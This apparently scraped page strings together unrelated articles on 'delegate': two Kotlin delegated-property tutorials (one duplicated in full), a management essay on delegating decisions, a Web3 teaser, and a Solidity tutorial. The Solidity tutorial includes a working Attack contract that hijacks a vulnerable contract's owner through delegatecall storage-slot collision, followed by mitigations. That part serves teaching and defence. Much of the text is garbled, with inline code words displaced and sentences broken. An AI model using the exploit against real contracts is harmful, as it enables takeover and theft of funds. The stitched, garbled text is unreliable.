Web3’s failed decadeIn the past week, the markets have seen a huge turnaround. Now is the time for founders and builders to look to the future to the next stage of Web3.The convergence of AI x Crypto and the subsequent explosion of agents on blockchains, we propose, means we are evolving ...

The Post Web: Read, Write, Own, Delegate — TradingView News

Delegate

delegate

Hello! My name is Artem and I am the author of the Android Insights YouTube channel Today we will enter the world of delegates and delegated properties in Kotlin. This topic might seem complex at first glance, but I'll do my best to explain it as clearly as possible. Let's get started! What Are Delegates? Before going into the details, let's clarify some fundamental concepts. A delegate is an object that another object, well, delegates certain tasks to. In Kotlin, delegation is a powerful tool that allows you to reuse code and implement complex behavior without the need for inheritance. Example of Delegation Let's consider a simple example: interface Base {
    fun print()
}

class BaseImpl(private val x: Int) : Base {
    override fun print() {
        println(x)
    }
}

class Derived(b: Base) : Base by b

fun main() {
    val b = BaseImpl(10)
    Derived(b).print() // Outputs: 10
} In this example: We define an interface Base with a method print().
The class BaseImpl implements this interface and holds a value x.
The class Derived delegates the implementation of Base to the object b. When we call print() on an instance of Derived, it actually executes the print() method of the BaseImpl object. This allows us to reuse code and add flexibility to the application's architecture without excessive inheritance. Delegated Properties Now, let's discuss delegated properties. A delegated property is a property that delegates its getter and setter to another object. The syntax for declaring a delegated property looks like this: class Example {
    var p: String by Delegate()
} Here, p is a delegated property. All accesses to p will be redirected to the Delegate() object. Built-in Delegates in Kotlin Kotlin provides several built-in delegates that simplify common tasks. lazy — Lazy Initialization The lazy delegate is used for lazy initialization of a property. The value is computed only upon the first access. val lazyValue: String by lazy {
    println("Computing the value...")
    "Hello"
}

fun main() {
    println(lazyValue) // Outputs: Computing the value... Hello
    println(lazyValue) // Outputs: Hello
} In this example, when we first access lazyValue, the code block inside lazy is executed, and the value is stored for subsequent uses. observable — Observable Property The observable delegate allows you to track changes to a property and react accordingly. import kotlin.properties.Delegates

var name: String by Delegates.observable("Initial value") { prop, old, new ->
    println("$old -> $new")
}

fun main() {
    name = "First"   // Outputs: Initial value -> First
    name = "Second"  // Outputs: First -> Second
} Here, every time name changes, the code block is executed, printing the old and new values. Creating Custom Delegates In addition to built-in delegates, we can create custom delegates to implement specific behavior. This can be done using the ReadOnlyProperty and ReadWriteProperty interfaces, or by directly implementing the getValue and setValue operators. Using ReadOnlyProperty Let's create a delegate that always returns the same value and logs each access. import kotlin.properties.ReadOnlyProperty
import kotlin.reflect.KProperty

class ConstantValue<T>(private val value: T) : ReadOnlyProperty<Any?, T> {
    override fun getValue(thisRef: Any?, property: KProperty<*>): T {
        println("Getting value of property '${property.name}'")
        return value
    }
}

class Example {
    val constant: String by ConstantValue("Hello, World!")
}

fun main() {
    val example = Example()
    println(example.constant)
    // Outputs:
    // Getting value of property 'constant'
    // Hello, World!
} Using ReadWriteProperty Now let's create a delegate that logs read and write operations of a property. import kotlin.properties.ReadWriteProperty
import kotlin.reflect.KProperty

class LoggingProperty<T>(private var value: T) : ReadWriteProperty<Any?, T> {
    override fun getValue(thisRef: Any?, property: KProperty<*>): T {
        println("Getting value of property '${property.name}': $value")
        return value
    }

    override fun setValue(thisRef: Any?, property: KProperty<*>, newValue: T) {
        println("Setting value of property '${property.name}' to $newValue")
        value = newValue
    }
}

class Example {
    var logged: String by LoggingProperty("Initial")
}

fun main() {
    val example = Example()
    println(example.logged)
    example.logged = "New Value"
    println(example.logged)
    // Outputs:
    // Getting value of property 'logged': Initial
    // Initial
    // Setting value of property 'logged' to New Value
    // Getting value of property 'logged': New Value
    // New Value
} Using ReadOnlyProperty and ReadWriteProperty allows us to explicitly indicate which operations the delegate supports, making the code more readable and understandable. Direct Implementation of getValue and setValue Alternatively, we can directly implement the getValue and setValue operators. import kotlin.reflect.KProperty

class StringDelegate {
    private var value: String = ""

    operator fun getValue(thisRef: Any?, property: KProperty<*>): String {
        println("Getting value of property '${property.name}'")
        return value
    }

    operator fun setValue(thisRef: Any?, property: KProperty<*>, newValue: String) {
        println("Setting value of property '${property.name}' to $newValue")
        value = newValue
    }
}

class Example {
    var str: String by StringDelegate()
}

fun main() {
    val example = Example()
    example.str = "Hello"
    println(example.str)
    // Outputs:
    // Setting value of property 'str' to Hello
    // Getting value of property 'str'
    // Hello
} This approach offers more flexibility, allowing us to implement only the necessary methods for our purposes. Practical Applications of Delegates Let's explore some practical scenarios where delegates can be particularly useful. Lazy Initialization of Resource-Intensive Objects The lazy delegate is perfect for deferred initialization of objects whose creation requires significant resources. class ResourceManager {
    val database by lazy {
        println("Connecting to the database...")
        Database.connect()
    }
}

fun main() {
    val manager = ResourceManager()
    println("ResourceManager created")
    // The database is not initialized yet
    manager.database.query("SELECT * FROM users")
    // The database is already initialized
    manager.database.query("SELECT * FROM products")
} In this example, the connection to the database occurs only upon the first access to database, conserving resources until they are actually needed. Implementing the Observer Pattern With the observable delegate, we can easily implement the Observer pattern by tracking property changes. import kotlin.properties.Delegates

class User {
    var name: String by Delegates.observable("") { prop, old, new ->
        println("User's name changed from '$old' to '$new'")
    }
}

fun main() {
    val user = User()
    user.name = "Alice"  // Outputs: User's name changed from '' to 'Alice'
    user.name = "Bob"    // Outputs: User's name changed from 'Alice' to 'Bob'
} This allows us to perform specific actions when properties change, such as updating the UI, validating data, or sending notifications. Conclusion Delegates are a powerful tool in the Kotlin developer's arsenal. They enable you to write cleaner, more modular, and flexible code, opening up new possibilities for implementing complex logic and design patterns. I hope this guide has helped you better understand delegates and delegated properties in Kotlin. Feel free to experiment and apply these concepts in your own projects! Thank you for your attention, and happy coding! Hello! My name is Artem and I am the author of the Android Insights YouTube channel Android Insights Today we will enter the world of delegates and delegated properties in Kotlin . This topic might seem complex at first glance, but I'll do my best to explain it as clearly as possible. Let's get started! Kotlin What Are Delegates? Before going into the details, let's clarify some fundamental concepts. A delegate is an object that another object, well, delegates certain tasks to. In Kotlin , delegation is a powerful tool that allows you to reuse code and implement complex behavior without the need for inheritance. Kotlin Example of Delegation Let's consider a simple example: Let's consider a simple example: interface Base {
    fun print()
}

class BaseImpl(private val x: Int) : Base {
    override fun print() {
        println(x)
    }
}

class Derived(b: Base) : Base by b

fun main() {
    val b = BaseImpl(10)
    Derived(b).print() // Outputs: 10
} interface Base {
    fun print()
}

class BaseImpl(private val x: Int) : Base {
    override fun print() {
        println(x)
    }
}

class Derived(b: Base) : Base by b

fun main() {
    val b = BaseImpl(10)
    Derived(b).print() // Outputs: 10
} In this example: We define an interface Base with a method print(). The class BaseImpl implements this interface and holds a value x. The class Derived delegates the implementation of Base to the object b. We define an interface Base with a method print() . Base print() The class BaseImpl implements this interface and holds a value x . BaseImpl x The class Derived delegates the implementation of Base to the object b . Derived Base b When we call print() on an instance of Derived , it actually executes the print() method of the BaseImpl object. This allows us to reuse code and add flexibility to the application's architecture without excessive inheritance. print() Derived print() BaseImpl Delegated Properties Now, let's discuss delegated properties. A delegated property is a property that delegates its getter and setter to another object. The syntax for declaring a delegated property looks like this: class Example {
    var p: String by Delegate()
} class Example {
    var p: String by Delegate()
} Here, p is a delegated property. All accesses to p will be redirected to the Delegate() object. p p Delegate() Built-in Delegates in Kotlin Kotlin provides several built-in delegates that simplify common tasks. lazy — Lazy Initialization lazy The lazy delegate is used for lazy initialization of a property. The value is computed only upon the first access. lazy val lazyValue: String by lazy {
    println("Computing the value...")
    "Hello"
}

fun main() {
    println(lazyValue) // Outputs: Computing the value... Hello
    println(lazyValue) // Outputs: Hello
} val lazyValue: String by lazy {
    println("Computing the value...")
    "Hello"
}

fun main() {
    println(lazyValue) // Outputs: Computing the value... Hello
    println(lazyValue) // Outputs: Hello
} In this example, when we first access lazyValue , the code block inside lazy is executed, and the value is stored for subsequent uses. lazyValue lazy observable — Observable Property observable The observable delegate allows you to track changes to a property and react accordingly. observable import kotlin.properties.Delegates

var name: String by Delegates.observable("Initial value") { prop, old, new ->
    println("$old -> $new")
}

fun main() {
    name = "First"   // Outputs: Initial value -> First
    name = "Second"  // Outputs: First -> Second
} import kotlin.properties.Delegates

var name: String by Delegates.observable("Initial value") { prop, old, new ->
    println("$old -> $new")
}

fun main() {
    name = "First"   // Outputs: Initial value -> First
    name = "Second"  // Outputs: First -> Second
} Here, every time name changes, the code block is executed, printing the old and new values. name Creating Custom Delegates In addition to built-in delegates, we can create custom delegates to implement specific behavior. This can be done using the ReadOnlyProperty and ReadWriteProperty interfaces, or by directly implementing the getValue and setValue operators. ReadOnlyProperty ReadWriteProperty getValue setValue Using ReadOnlyProperty ReadOnlyProperty Let's create a delegate that always returns the same value and logs each access. import kotlin.properties.ReadOnlyProperty
import kotlin.reflect.KProperty

class ConstantValue<T>(private val value: T) : ReadOnlyProperty<Any?, T> {
    override fun getValue(thisRef: Any?, property: KProperty<*>): T {
        println("Getting value of property '${property.name}'")
        return value
    }
}

class Example {
    val constant: String by ConstantValue("Hello, World!")
}

fun main() {
    val example = Example()
    println(example.constant)
    // Outputs:
    // Getting value of property 'constant'
    // Hello, World!
} import kotlin.properties.ReadOnlyProperty
import kotlin.reflect.KProperty

class ConstantValue<T>(private val value: T) : ReadOnlyProperty<Any?, T> {
    override fun getValue(thisRef: Any?, property: KProperty<*>): T {
        println("Getting value of property '${property.name}'")
        return value
    }
}

class Example {
    val constant: String by ConstantValue("Hello, World!")
}

fun main() {
    val example = Example()
    println(example.constant)
    // Outputs:
    // Getting value of property 'constant'
    // Hello, World!
} Using ReadWriteProperty ReadWriteProperty Now let's create a delegate that logs read and write operations of a property. import kotlin.properties.ReadWriteProperty
import kotlin.reflect.KProperty

class LoggingProperty<T>(private var value: T) : ReadWriteProperty<Any?, T> {
    override fun getValue(thisRef: Any?, property: KProperty<*>): T {
        println("Getting value of property '${property.name}': $value")
        return value
    }

    override fun setValue(thisRef: Any?, property: KProperty<*>, newValue: T) {
        println("Setting value of property '${property.name}' to $newValue")
        value = newValue
    }
}

class Example {
    var logged: String by LoggingProperty("Initial")
}

fun main() {
    val example = Example()
    println(example.logged)
    example.logged = "New Value"
    println(example.logged)
    // Outputs:
    // Getting value of property 'logged': Initial
    // Initial
    // Setting value of property 'logged' to New Value
    // Getting value of property 'logged': New Value
    // New Value
} import kotlin.properties.ReadWriteProperty
import kotlin.reflect.KProperty

class LoggingProperty<T>(private var value: T) : ReadWriteProperty<Any?, T> {
    override fun getValue(thisRef: Any?, property: KProperty<*>): T {
        println("Getting value of property '${property.name}': $value")
        return value
    }

    override fun setValue(thisRef: Any?, property: KProperty<*>, newValue: T) {
        println("Setting value of property '${property.name}' to $newValue")
        value = newValue
    }
}

class Example {
    var logged: String by LoggingProperty("Initial")
}

fun main() {
    val example = Example()
    println(example.logged)
    example.logged = "New Value"
    println(example.logged)
    // Outputs:
    // Getting value of property 'logged': Initial
    // Initial
    // Setting value of property 'logged' to New Value
    // Getting value of property 'logged': New Value
    // New Value
} Using ReadOnlyProperty and ReadWriteProperty allows us to explicitly indicate which operations the delegate supports, making the code more readable and understandable. ReadOnlyProperty ReadWriteProperty Direct Implementation of getValue and setValue getValue setValue Alternatively, we can directly implement the getValue and setValue operators. getValue setValue import kotlin.reflect.KProperty

class StringDelegate {
    private var value: String = ""

    operator fun getValue(thisRef: Any?, property: KProperty<*>): String {
        println("Getting value of property '${property.name}'")
        return value
    }

    operator fun setValue(thisRef: Any?, property: KProperty<*>, newValue: String) {
        println("Setting value of property '${property.name}' to $newValue")
        value = newValue
    }
}

class Example {
    var str: String by StringDelegate()
}

fun main() {
    val example = Example()
    example.str = "Hello"
    println(example.str)
    // Outputs:
    // Setting value of property 'str' to Hello
    // Getting value of property 'str'
    // Hello
} import kotlin.reflect.KProperty

class StringDelegate {
    private var value: String = ""

    operator fun getValue(thisRef: Any?, property: KProperty<*>): String {
        println("Getting value of property '${property.name}'")
        return value
    }

    operator fun setValue(thisRef: Any?, property: KProperty<*>, newValue: String) {
        println("Setting value of property '${property.name}' to $newValue")
        value = newValue
    }
}

class Example {
    var str: String by StringDelegate()
}

fun main() {
    val example = Example()
    example.str = "Hello"
    println(example.str)
    // Outputs:
    // Setting value of property 'str' to Hello
    // Getting value of property 'str'
    // Hello
} This approach offers more flexibility, allowing us to implement only the necessary methods for our purposes. Practical Applications of Delegates Let's explore some practical scenarios where delegates can be particularly useful. Lazy Initialization of Resource-Intensive Objects The lazy delegate is perfect for deferred initialization of objects whose creation requires significant resources. lazy class ResourceManager {
    val database by lazy {
        println("Connecting to the database...")
        Database.connect()
    }
}

fun main() {
    val manager = ResourceManager()
    println("ResourceManager created")
    // The database is not initialized yet
    manager.database.query("SELECT * FROM users")
    // The database is already initialized
    manager.database.query("SELECT * FROM products")
} class ResourceManager {
    val database by lazy {
        println("Connecting to the database...")
        Database.connect()
    }
}

fun main() {
    val manager = ResourceManager()
    println("ResourceManager created")
    // The database is not initialized yet
    manager.database.query("SELECT * FROM users")
    // The database is already initialized
    manager.database.query("SELECT * FROM products")
} In this example, the connection to the database occurs only upon the first access to database , conserving resources until they are actually needed. database Implementing the Observer Pattern With the observable delegate, we can easily implement the Observer pattern by tracking property changes. observable import kotlin.properties.Delegates

class User {
    var name: String by Delegates.observable("") { prop, old, new ->
        println("User's name changed from '$old' to '$new'")
    }
}

fun main() {
    val user = User()
    user.name = "Alice"  // Outputs: User's name changed from '' to 'Alice'
    user.name = "Bob"    // Outputs: User's name changed from 'Alice' to 'Bob'
} import kotlin.properties.Delegates

class User {
    var name: String by Delegates.observable("") { prop, old, new ->
        println("User's name changed from '$old' to '$new'")
    }
}

fun main() {
    val user = User()
    user.name = "Alice"  // Outputs: User's name changed from '' to 'Alice'
    user.name = "Bob"    // Outputs: User's name changed from 'Alice' to 'Bob'
} This allows us to perform specific actions when properties change, such as updating the UI, validating data, or sending notifications. Conclusion Delegates are a powerful tool in the Kotlin developer's arsenal. They enable you to write cleaner, more modular, and flexible code, opening up new possibilities for implementing complex logic and design patterns. I hope this guide has helped you better understand delegates and delegated properties in Kotlin. Feel free to experiment and apply these concepts in your own projects! Thank you for your attention, and happy coding! Thank you for your attention, and happy coding!

Delegates and Delegated Properties in Kotlin

Every manager has to undertake a tricky task of teaching employees to make the right decisions, the ones that will be profitable for the business. As my team was growing, I also came to realize I had to delegate responsibility. I don’t like to be micromanaged — so I don’t micromanage my team. My job is to lead people, not to be a bottleneck. I was lucky that Skyeng is all about principle-based decision-making; this is what makes an annual growth of 200% possible. I only had to take those corporate principles, or rules, and apply them to my field of commercial products. I’ll talk about my rules in this article. Rule #1. Estimate the monetary value Any business operates to make money. Estimate the monetary value of a decision to see whether or not it is profitable. Money is a universal unit of measurement that helps to compare decisions, prioritize projects and be sure that you made the best decision. I am convinced that you can estimate the monetary value of anything — it’s not as difficult as it sounds. You have to always ask yourself, “Will I make a profit? Is it worth the resources spent?” By using this rule we don’t make unjustified decisions. The more difficult a decision, the better it has to be justified. It’s better to take extra time to think that to take a reckless action with a thought “Why not?” Rule #2. Value the goal over the process How our team achieves the goal is not important to us. What we care about is the result even if it is achieved through unconventional ways. It gives our employees the freedom to think and be creative. Quite often the biggest difficulties lead to the biggest breakthroughs. Our team can and even have to re-create the established processes and make them better. If someone knows how to achieve the goal faster and more efficiently, they have to advocate for the change, to demolish the old processes and build new ones.However, it’s important to keep a balance. Let’s say we want to reduce the cost of customer acquisition. We can fire the whole sales department, it will make the process cheaper. But it will also cut the conversion rate. The lower conversion rate will do more harm than the reduced acquisition cost will do good. We will technically achieve our goal, but the company won’t benefit from it. That’s why it’s important to use Rule #2 together with Rule #1 and estimate the monetary value of a change. Rule #3. Any decision is better than none In 2017, we ran a complete makeover of our website’s front page. It took two months and up to six stakeholders. Along with that, there were many interested people who wanted to give tips. Obviously, we couldn’t consider and use all the advice as the whole process would take forever. We did not have time for that. That’s when we came up with this rule together with the rule to implement new processes if it helps to achieve the goal (see Rule #2). We made a draft and presented it for discussion. While people were giving their ideas, we were already making the next version, not considering the current comments. We implemented the revision with a lag of one version or didn’t implement them at all. It wasn’t our goal to consider all the comments, our goal was to make a good front page. For really big decision we took a break and said, “Ok, guys, you have 24 hours to comment if you want to see your revisions in the next version.” Thanks to that, only people who were really interested in the project got to make a decision. We cut all the unnecessary communication regardless of the participants’ positions and made a new front page with a considerably better conversion rate before the deadline. Science tells us that moving is living. I beg you to live at work. There shouldn’t be moments when you sit at your desk and don’t know what to do. This leads to procrastination. A stall can occur due to external or internal reasons. If an employee hesitates what decision to make, it’s better to make any, get feedback and try again. The iterative approach makes all the doubts disappear. If it takes anyone — me, your manager, your counterpart from another team — more than 24 hours to make a decision, you can make it yourself without approval. The person involved had enough time; if they didn’t use it, it was not that important to them. What if you make a wrong decision? You definitely will. That’s why we came up with the next rule. Rule #4. Make more mistakes and learn from them It may sound odd, but to make mistakes is crucial. I always encourage my team to make mistakes as that’s how they can get experience. That’s how I learned. Sometimes I see that someone from my team is going to make a mistake and I don’t warn them letting them make this mistake. The next time they won’t wait for me to guide them and will trust their own knowledge and intuition. This way employees become more independent and make better decisions. But sometimes it turns out that the employee was right and I was wrong! That’s what I enjoy the most, realizing that I hired someone with more competence than I have. However, making mistakes can lead to fast growth and better results only in case when each mistake is thoroughly analyzed, conclusions are made and the rules and principles are amended. I keep close tabs on that. Rule #5. Take responsibility for your work With great freedom comes great responsibility. Employees can decide whether they want to manage, make decisions and take risks or to do their job and let me take all the risks. Both positions are ok, it’s the matter of preference. Each employee is important. But if someone chooses to risk and then makes the same mistakes over and over again (which means that he or she does not learn), he or she will be fired. If you don’t reach your targets, you’re fired. If you don’t follow the principles, you’re fired. If you stall, you take unimportant projects. If you earn a profit, you grow fast and work on the most interesting and creative projects. Career lifts can take you either way; you can go up or down very fast depending on how much profit you earn for the company. This rule applies to everyone at the company, from specialists to co-founders. Rule #6. Make decisions openly At all times. If you make a decision in a private chat, it’s a bad decision. Share information honestly and openly, especially if your decision involves risk. The greater the risk, the more you need to share. It helps you to get feedback even before you make a mistake (yes, it’s better not to make some mistakes despite Rule #5). Your colleagues can see overlooked flaws in your plan. When you work alone or in a small team, it’s easy to lose touch with reality. But when you share information, you can get a heads-up from a more experienced or just more attentive colleague much faster than you could spot a mistake yourself. Rule # 7. Change rules if it means better results Every new hire has to learn and follow our rules. But they are not set in stone. Rules exist to help make better decisions, not to limit your freedom. If you follow the rules and get a negative result, it’s great! I hope you share it with the team. It gives you an opportunity to make the world around you slightly better, even if it’s just a tiny rule. Not only people need to constantly grow and change; rules for decision-making need to grow and change too. The rule of no control When you travel on the speed of light, it’s hard to keep everything under control. Sometimes our test servers fail. According to Rule #3, we don’t wait for them to be fixed and release projects with no testing. We can implement such a risky process, thanks to Rule #2. Of course, it can result in system fails, from which we learn according to Rule #4, and we are not afraid of these fails as we’ve estimated their monetary value according to Rule #1. We accepted the responsibility for such mistakes according to Rule #5 and informed everyone openly according to Rule #6. I’m sure that the day will come when our rules will no longer be effective and we’ll have to change them. It’s good we can do it thanks to Rule #7.Rules don’t give you more control but help achieve better results for less effort. And the free time you’ll have can be invested in personal growth. Also appears . here

How to Teach People to Make the Right Decisions and Delegate Important Business Tasks With no Stress

attacks in are fundamentally an exploitation of the feature to manipulate contract storage slots. Despite their simplicity, these attacks involve vulnerabilities in the contract's logical design and storage slot distribution, and they remain common today. 🚨 delegatecall smart contracts delegatecall This highlights the need for careful consideration in the design of smart contracts, especially when using for inter-contract calls, as well as thorough testing and code auditing before deployment. In this article, I'll demonstrate a simple attack example and how to prevent such attacks. 🛡️ delegatecall delegatecall First, Let's Describe the Process of a Attack 🧐 delegatecall Alice deploys two simple contracts: a Lib contract and a HackMe contract. She uses a function in the HackMe contract to to a function in the Lib contract. This is common in scenarios like proxy contracts, upgradeable contracts, or modular contracts. The code is as follows: 👩‍💻 delegatecall // SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Lib {
    uint public someNumber;

    function doSomething(uint _num) public {
        someNumber = _num;
    }
}

contract HackMe {
    address public lib;
    address public owner;
    uint public someNumber;

    constructor(address _lib) {
        lib = _lib;
        owner = msg.sender;
    }

    function doSomething(uint _num) public {
        lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
    }
} The attacker, Eve, deploys a simple Attack contract with two key points. First, its storage layout must be identical to that of HackMe (we'll explain why later), and second, it must have a doSomething function with the same signature as in the Lib contract. The code is as follows: 👩‍🔬 contract Attack {
    // Make sure the storage layout is the same as HackMe
    // This will allow us to correctly update the state variables
    address public lib;
    address public owner;
    uint public someNumber;

    HackMe public hackMe;

    constructor(HackMe _hackMe) {
        hackMe = HackMe(_hackMe);
    }

    function attack() public {
        // override address of lib
        hackMe.doSomething(uint(uint160(address(this))));
        // pass any number as input, the function doSomething() below will
        // be called
        hackMe.doSomething(1);
    }

    // function signature must match HackMe.doSomething()
    function doSomething(uint _num) public {
        owner = msg.sender;
    }
} Eve deploys the Attack contract, passing in a HackMe contract instance in the constructor. This creates a reference to a HackMe contract pointing to the one deployed by Alice. 🌐 Eve then calls the Attack.attack function. Ethereum addresses are essentially 20-byte strings. The statement first converts the Attack contract's address to a uint160 type, then to a uint type, to match the expected parameter in the Lib contract. 🔄 hackMe.doSomething(uint(uint160(address(this)))); This calls the in HackMe, which in turn calls the doSomething function in Lib, aiming to modify the first state variable slot, slot 0, in HackMe. 🎯 lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num)); Due to 's nature, this modifies HackMe's slot 0 variable (lib) to the passed uint parameter (the Attack contract's address). 🔀 delegatecall The triggers a second to the now modified lib in HackMe, which is the Attack contract's doSomething function, not Lib's. 🔄 hackMe.doSomething(1); delegatecall This is why the storage layout in Attack must match HackMe, and the function signature in Attack must match Lib's doSomething. 🧩 The second actually calls the in Attack, modifying the second storage slot (slot 1) in HackMe to the caller's address. 🚚 delegatecall owner = msg.sender; Again, due to 's nature, even though the function in Attack is called, it modifies the corresponding slot (slot 1) in HackMe, changing its owner to the attacker, Eve. 🎩 delegatecall How to Prevent Such Attacks 🛡️ delegatecall This attack is simple but shows the need for cautious design in smart contracts to avoid unexpected storage overwrites and potential vulnerabilities. Based on the attack's principle, here are some ways to mitigate such risks: 🛠️ Maintain storage layout consistency between the contract using and the called contract. This avoids unintended storage overwrites due to layout mismatches. 🧱 delegatecall Use proxy contracts where the proxy contains little logic and forwards function calls via to another (implementation) contract. This pattern reduces storage vulnerability risks. 🌉 delegatecall Utilize well-established libraries like OpenZeppelin for safe proxy implementations. These libraries reduce coding and logical errors, offering community-validated best practices. 📚 Implement strict access control on contracts. Ensure only authorized addresses can call critical functions, especially those involving . 🔐 delegatecall Conduct thorough audits and testing before deployment and continuous monitoring and updating post-deployment, to fix vulnerabilities if found. 🔍 That's all for this discussion on vulnerabilities and security strategies. If you've made it this far, drop a like for the article! 👍 delegatecall Also published here.

Smart Contract Vulnerabilities: Understanding and Safeguarding Against delegatecall Attacks

Introduction Hi all, today, let's talk about Kotlin delegates and how they can be used in app development. In this article, let's try to understand how delegates work under the hood, see a ready-to-use Kotlin delegate, and try to write a new Kotlin delegate. Android What is a Kotlin delegate? First, let's understand what Kotlin delegate is. There is the keyword in Kotlin, it means that this property uses Kotlin delegate under the hood. This means that a getter and setter property call will be delegated to some expression, with the expression being a delegate. This expression may contain logic different from the usual logic of setting and getting a property and specify some non-standard behavior of the property when a getter or setter is called. We delegate these method calls to this expression; that's why it's called a delegate, and as we can deduce, it's based on a delegation pattern. In the code, it looks like . In Kotlin, a modern programming language, we can see delegates very often and in different layers of application, from UI to domain layer. It remains to be seen how this can benefit us in practice and how to apply it. by by <expression> Property Delegation Let's first try to understand the property delegates. Kotlin already has ready-to-use property delegates in object in package . Let's take a look at some of them. Delegates package kotlin.properties val notNullString by Delegates.notNull<String>() An IllegalStateException will be thrown when attempting to read this property. This logic is implemented in the delegate, which we use because of the keyword . by val observableProperty by Delegates.observable(initialValue = true) { 
    property, oldValue, newValue -> 
    //is called only when the value of the property has been changed
} The Observable delegate works like a classic observable pattern and notifies the subscriber, in our case, calls the lambda in case the value of the property changes. One of the most powerful ready-to-use delegates is the lazy delegate. Let's take a closer look at it. val text: String by lazy { 
    "lazy text" 
} The lazy delegate lambda will be executed at the moment when the variable is first read. Thus, we postpone some time-consuming operations to the moment when the variable is read, and this is possible thanks to the use of the lazy delegate. In mobile development, where we try to save system resources, the lazy delegate is a very powerful tool. For example, it can be used in cases of deferred reading of Android resources. val text: String by lazy {
    resources.getString(R.string.lazy_resource) 
} Let's see how we can use lazy delegate in other cases. For example, when the calculation of some boolean flag can be executed with delay, on demand. val firstCase: Boolean = true
val secondCase: Lazy<Boolean> = lazy { 
    users.any { it == "root" } 
}
val thirdCase: Lazy<Boolean> = lazy { 
    users.any { it == "admin" } 
}


if (firstCase) {

   doCaseOne()

} else if (secondCase.value) {   
// property secondCase will be calculated lazily

   doCaseSecond()

} else if (thirdCase.value) {    
// property thirdCase will be calculated lazily

   doCaseThird()

} In this example, the values of the and properties may never be needed. So why compute these boolean flags? We can only do it when we really need it. And in that case, the lazy delegate is perfect for doing the resource-intensive calculations at the first read property, and all subsequent reads of the flag will return the value already calculated before. As a result, with the help of the delegate, we have postponed our time-consuming calculations, which may never be needed at all. secondCase thirdCase It is important to know that by default, this delegate works synchronously and provides thread-safe access to the field, which imposes additional costs when reading the variable. In the case of multi-threaded access, our thread may be blocked at the time of the first read. But luckily for us, the have thought of everything for us and provided an API that allows us to set the delegate strategy and disable synchronized variable access when we don't need it. Let's see how to do that. Kotlin developers To do that, we need to specify , it can be , , . I will not dwell on each of them; you can read about their behavior in the documentation. LazyThreadSafetyMode SYNCHRONIZED PUBLICATION NONE val lazyField = lazy(mode = LazyThreadSafetyMode.NONE) { 
    "not blocking property" 
} So, we have learned about property delegates and one of the most popular and powerful delegates in Kotlin, Lazy. Now we know how powerful this tool is. In the next step, we will try to implement our own delegate. property delegate Writing our To write our own delegate, we need to create a class and inherit from or from from package . If we want to override read and write logic, we inherit from , and if we need to override only read logic, we can inherit from public . ReadWriteProperty ReadOnlyProperty kotlin.properties interface ReadWriteProperty<in T, V> : ReadOnlyProperty<T, V> fun interface ReadOnlyProperty<in T, out V> package kotlin.properties

import kotlin.reflect.KProperty

public interface ReadWriteProperty<in T, V> : ReadOnlyProperty<T, V> {
   /**
    * Returns the value of the property for the given object.
    * @param thisRef the object for which the value is requested.
    * @param property the metadata for the property.
    * @return the property value.
    */
   public override operator fun getValue(thisRef: T, property: KProperty<*>): V

   /**
    * Sets the value of the property for the given object.
    * @param thisRef the object for which the value is requested.
    * @param property the metadata for the property.
    * @param value the value to set.
    */
   public operator fun setValue(thisRef: T, property: KProperty<*>, value: V)
}

public fun interface ReadOnlyProperty<in T, out V> {
   /**
    * Returns the value of the property for the given object.
    * @param thisRef the object for which the value is requested.
    * @param property the metadata for the property.
    * @return the property value.
    */
   public operator fun getValue(thisRef: T, property: KProperty<*>): V
} So let's write our class. class ObservableDelegate<T>(
   initValue: T,
   val onChanged: (old: T, new: T) -> Unit,
) : ReadWriteProperty<Any?, T> {

   private var currentValue: T = initValue

   override fun getValue(thisRef: Any?, property: KProperty<*>): T {
       return currentValue
   }

   override fun setValue(thisRef: Any?, property: KProperty<*>, value: T) {
       val oldValue = currentValue
       currentValue = value
       onChanged(oldValue, value)
   }
} Let's write a function for the convenience of using the delegate. fun <T> observableDelegate(
   initValue: T,
   onChanged: (old: T, new: T) -> Unit
): ReadWriteProperty<Any?, T> {
   return ObservableDelegate(
       initValue = initValue,
       onChanged = onChanged
   )
} As a result, we have implemented our own . The is called when we assign a new value and the when we read the field value. So, our delegate will call the function with the new value and the old value every time we set a new value. In our code, we just use the standard assignment operator, and our function is called every time we set a new value. We can also write some logic for the getValue function and do some actions, too, for example, increase the counter of reading the value. ObservableDelegate override fun setValue(thisRef: Any?, property: KProperty<*>, value: T) override fun getValue(thisRef: Any?, property: KProperty<*>): T onChanged onChanged private var observableProperty: String by observableDelegate("initValue") { oldValue, newValue ->
   Log.d("tag", "oldValue: $oldValue, new: $newValue")
}

observableProperty = "test1"
observableProperty = "test2"
observableProperty = "test3" Yay, our delegate works, and now we know how to implement our own delegates. Delegate for interface The interface can also be implemented using a delegate. In this case, overriding public members’ methods of the interface becomes optional. And all such calls will be delegated to our delegate. This means that we can define a default implementation and use it as a delegate. interface Player {
    
    fun play()
    
    fun stop()
}

class DefaultPlayerImpl : Player {

    override fun play() { print("default play impl") }

    override fun stop() { print("default stop impl") }
}

class AdminPlayer(player: Player = DefaultPlayerImpl()) : Player by player {

    override fun play() { print("admin play impl") }
}

class UserPlayer(player: Player = DefaultPlayerImpl()) : Player by player Now and classes do not need to implement more than one public function of the . Now and delegate the call of these functions to the delegate. But if you still need to use a function implementation not from a delegate, you can simply override the required functions as usual. AdminPlayer UserPlayer interface Player AdminPlayer UserPlayer Conclusion In this article, we learned what Kotlin delegates are and how we can use them in modern android development. It's also worth mentioning that Kotlin delegates are now used almost everywhere in Android development. For example, there are a lot of delegates for Jetpack Compose out of the box, and there are also ready-made delegates in Kotlin in the Delegates object. Ideas for using delegates can be absolutely different, from fields with custom logic to getting some Android resources, services, or lazy loggers. So make sure you use in your development and get nice, concise, and reusable code. Kotlin delegates

Delegates in Kotlin for Android App Development

